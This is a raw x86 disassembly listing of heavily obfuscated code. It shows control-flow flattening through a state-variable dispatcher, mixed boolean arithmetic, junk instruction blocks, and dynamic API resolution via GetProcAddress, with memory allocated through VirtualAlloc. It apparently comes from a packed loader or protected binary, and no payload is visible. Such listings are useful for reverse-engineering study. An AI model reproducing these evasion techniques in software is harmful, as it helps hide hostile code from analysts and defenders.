mov al, byte [ebp - 0xd61]
or al, cl
mov cl, byte [ebp - 0xd60]
mov byte [ebp - 0xd5e], al
mov al, byte [ebp - 0xd5f]
or cl, al
mov al, byte [ebp - 0xd5e]
xor al, cl
mov cl, byte [ebp - 0xd5d]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov byte [ebp - 0xd5b], al
mov cl, ch
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov al, 1
xor al, 1
or cl, bl
or al, 1
xor cl, 0xff
and cl, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov ch, cl
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ch
and bh, 0xff
mov byte [ebp - 0xd5c], bh
and cl, dh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xd5a], al
mov al, byte [ebp - 0xd5c]
or al, cl
mov cl, byte [ebp - 0xd5b]
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xd5a]
or bh, al
mov al, byte [ebp - 0xd59]
xor al, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or al, ch
mov byte [ebp - 0xd58], al
mov bl, cl
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
mov bh, cl
and bh, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or bl, bh
or ch, dh
xor bl, ch
mov ch, 1
xor ch, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
and dh, 1
or bh, dh
mov dh, bh
xor dh, 0xff
mov bl, cl
xor bl, dh
and bl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 1
mov al, dh
xor al, cl
mov cl, byte [ebp - 0xd58]
and al, dh
xor bh, 0xff
mov dh, cl
xor dh, bh
and dh, cl
mov cl, ch
and cl, bl
xor ch, bl
or cl, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, cl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and cl, ch
or al, cl
mov byte [ebp - 0xd53], al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov ch, ah
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dh, 1
xor dh, 1
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or dh, bl
or dl, ch
xor dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, 1
xor dl, 0
or dh, ch
or dl, 0
xor dh, 0xff
and dh, dl
mov bh, 1
xor bh, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, dh
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and dh, dl
mov bl, ch
and bl, 0xff
and bh, dl
or cl, dh
mov dh, byte [ebp - 0xd57]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov bh, dh
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov ch, dh
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov byte [ebp - 0xd56], ah
mov al, 1
xor al, 0
mov ch, cl
xor ch, al
and ch, cl
mov bl, 1
xor bl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov ah, 1
xor ah, 0
mov al, bh
xor al, ah
mov ah, byte [ebp - 0xd56]
and al, bh
xor ah, 0xff
xor dh, ah
mov ah, byte [ebp - 0xd57]
and dh, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0xd52], al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov al, ah
and al, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or al, cl
mov cl, byte [ebp - 0xd56]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, 1
xor ah, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ah
and dh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0xd55], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xd54], al
mov al, byte [ebp - 0xd55]
and cl, bl
or dh, al
mov al, byte [ebp - 0xd54]
or al, cl
mov cl, byte [ebp - 0xd53]
xor dh, al
mov al, byte [ebp - 0xd52]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or dh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, 1
xor dl, 1
mov byte [ebp - 0xd51], dl
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or dl, al
mov al, byte [ebp - 0xd51]
or bl, bh
xor dl, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, ch
or al, dl
xor dh, al
mov byte [ebp - 0xd4a], dh
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or ch, al
mov dl, 1
xor dl, 0
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bl, 1
xor bl, 0
mov al, dh
xor al, bl
and al, dh
xor cl, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 0
or cl, bl
or dh, 0
xor cl, 0xff
and cl, dh
mov bl, 1
xor bl, 0
mov dh, ch
xor dh, bl
and dh, ch
mov byte [ebp - 0xd4d], dh
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0xd4e], ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov bl, ah
and bl, 0xff
and al, dh
mov byte [ebp - 0xd50], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xd4f], al
mov al, byte [ebp - 0xd50]
and cl, dh
or bl, al
mov al, byte [ebp - 0xd4f]
or al, cl
mov cl, byte [ebp - 0xd4e]
xor bl, al
mov al, byte [ebp - 0xd4d]
or ah, bh
xor ah, 0xff
or dh, 1
and ah, dh
or bl, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xd49], dh
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 1
and dh, 0xff
and al, ah
mov byte [ebp - 0xd4c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xd4b], al
mov al, byte [ebp - 0xd4c]
and cl, ah
or dh, al
mov al, byte [ebp - 0xd4b]
or al, cl
mov cl, byte [ebp - 0xd4a]
xor dh, al
mov al, byte [ebp - 0xd49]
or al, bh
xor al, 0xff
or ah, 1
and al, ah
or dh, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0
and dh, bh
or al, bl
or ah, dh
xor al, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84beb451
mov ecx, 0x27723fe4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x14]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1a8], 0xc63b6b05
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xfb445bd4
jmp 0x43690c
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a8], 0xf1ed959c
jmp 0x43690c
mov dword [ebp - 0x1a8], 0x8b5facd1
jmp 0x43690c
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
xor eax, eax
sub eax, 0xfe553564
xor edx, edx
sub edx, eax
sub edx, 0x85cf5ed5
sub edx, 1
add edx, 0x85cf5ed5
xor eax, eax
sub eax, 0xfe553564
add edx, eax
xor eax, eax
sub eax, edx
add eax, 0
add ecx, 0x7c422509
add ecx, eax
sub ecx, 0x7c422509
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x901da477
jmp 0x43690c
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1a8], 0xb81ad87e
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xd372d5ce
jmp 0x43690c
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x21686262
jmp 0x43690c
mov dword [ebp - 0x1a8], 0x8f2df92d
jmp 0x43690c
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0xe4b1f41b
sub eax, 0xe14e8553
add eax, 0xe4b1f41b
add ecx, 0xf368bce2
sub ecx, eax
sub ecx, 0xf368bce2
xor eax, eax
sub eax, 0x1c69fb44
add ecx, eax
add ecx, 0x5af78ef3
add ecx, 1
sub ecx, 0x5af78ef3
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x1c69fb44
add eax, ecx
xor ecx, ecx
sub ecx, eax
sub ecx, 0xa27671e3
sub ecx, 0x9dca13d
add ecx, 0xa27671e3
add ecx, 0x51fa0e50
sub ecx, 0xe14e8553
sub ecx, 0x51fa0e50
sub ecx, 0x4ebd2a2f
add ecx, 0x9dca13d
add ecx, 0x4ebd2a2f
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x13aa7433
jmp 0x43690c
mov dword [ebp - 0x1a8], 0x41e8bde1
jmp 0x43690c
inc eax
rcl ebx, 0xd0
imul ebx
rcl edx, 0xbf
dec edi
bswap edx
and esi, 0x4c
rol eax, 0x94
rol eax, 0xde
rcr esi, 0
neg esi
rcl ebx, 0x12
dec edi
neg eax
not edx
inc edx
inc ebx
inc ebx
sub edx, 0xdd
ror ebx, 0x44
rcr edx, 0xfa
mov esi, 0xf
not esi
mov edx, 0x3b
bswap edi
imul esi
not esi
mov eax, 0x4d
and esi, 0x2b
add edx, 0x96
rcr ebx, 0x6b
mov edi, 0x6f
and ebx, 0x8a
imul ebx
ror esi, 0x3b
mov edx, 0x75
rcr ebx, 0x22
imul esi
rcr eax, 0x78
rcr edx, 0xa5
imul edx
dec ebx
neg edx
add edx, 0x8c
sub edi, 0xaf
neg ebx
ror edi, 0xd2
rcr edx, 9
neg ebx
ror edi, 0xc1
bswap eax
bswap esi
rcr esi, 0x5d
dec eax
dec ebx
add eax, 0x6e
sbb esi, 0xb0
imul edx
or edi, 0x8f
dec esi
dec esi
dec eax
neg ebx
inc edi
bswap edx
sub edx, 0xd5
bswap ebx
mov eax, 0xd2
ror ebx, 0x81
rol edi, 0x21
rcl edi, 0x92
inc edx
rcl edx, 0xd3
mov edi, 0x3d
sub ebx, 0xe5
mov eax, 0x2f
ror esi, 0x25
neg ebx
neg ebx
not edi
add esi, 0x85
sub edi, 0x6c
inc edx
add edi, 0xc1
rol ebx, 0xf7
not ebx
add edx, 0xa2
rcl ebx, 0xa5
sub esi, 0xce
rcr eax, 5
dec edi
not eax
bswap edx
inc eax
dec edx
rcl eax, 0x4e
not ebx
or edx, 0x37
and edi, 0
neg ebx
neg edi
rcr edx, 0x93
ror eax, 0x42
sbb esi, 0xd
inc ebx
rol ebx, 0xe
not edi
bswap esi
dec eax
dec ebx
neg ebx
neg eax
not ebx
rcl edi, 0xeb
neg edi
inc esi
rol ebx, 0x5d
bswap edx
mov ebx, 0x96
inc ebx
rcr edx, 0xb2
dec esi
imul eax
imul eax
sbb ebx, 0x6b
ror edi, 0xc8
inc eax
rcl ebx, 0x93
imul eax
imul edi
neg edi
imul ebx
and ebx, 0x2b
mov ebx, 0x76
dec esi
dec edi
sbb edi, 0xce
bswap eax
inc ebx
ror eax, 0xa0
bswap edi
and eax, 0x2b
inc edi
bswap edx
ror esi, 0x6d
inc eax
sbb ebx, 0xee
ror eax, 0x1b
imul ebx
or edi, 0x13
mov dword [ebp - 0x1a8], 0x76c284af
jmp 0x43690c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1a8], 0x30d51344
jmp 0x43690c
mov dword [ebp - 0x1a8], 0x71f09d4e
jmp 0x43690c
rcl esi, 0x81
bswap esi
inc eax
bswap ebx
rcr esi, 0x77
bswap eax
inc eax
rcl esi, 0x7f
rcl esi, 0xb0
neg eax
inc eax
rol esi, 0x5f
rol esi, 0x3c
rcr eax, 0xcf
dec eax
neg esi
bswap edx
rol ebx, 0x71
add edx, 0x2c
bswap esi
imul edx
sub edx, 0xfd
neg edi
inc ebx
dec eax
rol eax, 0x9a
rol ebx, 0xca
dec esi
add esi, 0x5e
mov esi, 0x9f
and esi, 0x21
bswap ebx
sub esi, 0x28
mov eax, 0xfd
neg eax
inc edx
rcr edi, 0x8d
bswap edx
inc esi
sub eax, 0x55
rcl edi, 0x9c
sub ebx, 0x19
imul edx
add eax, 0x55
imul eax
bswap edi
dec ebx
and ebx, 0x90
inc edx
imul eax
neg ebx
inc ebx
dec eax
neg ebx
imul ebx
ror eax, 0x19
dec eax
sub ebx, 0x36
rol ebx, 0xa0
bswap eax
imul esi
neg ebx
and edx, 0xbd
rcr ebx, 0xef
inc ebx
bswap edi
bswap edi
rcr ebx, 0xe4
and esi, 0xe0
rcl edi, 0xee
sbb edi, 0xd9
dec eax
bswap eax
bswap eax
imul edx
and eax, 0xc1
mov edi, 0x32
rol ebx, 4
and edi, 0x9d
dec esi
rcl esi, 8
imul eax
inc eax
mov eax, 0xb3
neg esi
bswap edx
imul ebx
ror edx, 0x82
bswap esi
not eax
imul edx
rcr ebx, 0x9e
rcl eax, 0xe7
bswap edi
not eax
mov edx, 0xd
not edx
bswap eax
rcl esi, 0x8a
rol esi, 0xd2
and eax, 0x29
bswap eax
ror edx, 0x45
neg edx
dec esi
inc ebx
dec edi
add ebx, 0xee
add esi, 0xd
add eax, 0xa
sub esi, 0xb0
rcl edx, 0xe9
rol esi, 0x7b
bswap esi
mov esi, 0xe4
rcl esi, 0x7d
rcl esi, 0xd7
bswap edi
dec esi
rcr eax, 0x69
rcr ebx, 0xbc
add eax, 0xb7
imul edi
imul esi
not eax
neg ebx
rol edi, 0x99
ror edx, 0x3b
rcl eax, 0xb
bswap edx
dec ebx
rcl esi, 0xf5
imul ebx
imul eax
not ebx
bswap edx
not esi
ror eax, 0x93
not edi
neg eax
bswap edi
not edx
dec esi
inc esi
sbb esi, 0x1f
inc esi
bswap ebx
not edi
imul edi
dec edi
mov dword [ebp - 0x1a8], 0x9f0dcdd1
jmp 0x43690c
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1a8], 0x27723fe4
jmp 0x43690c
jmp 0x40576c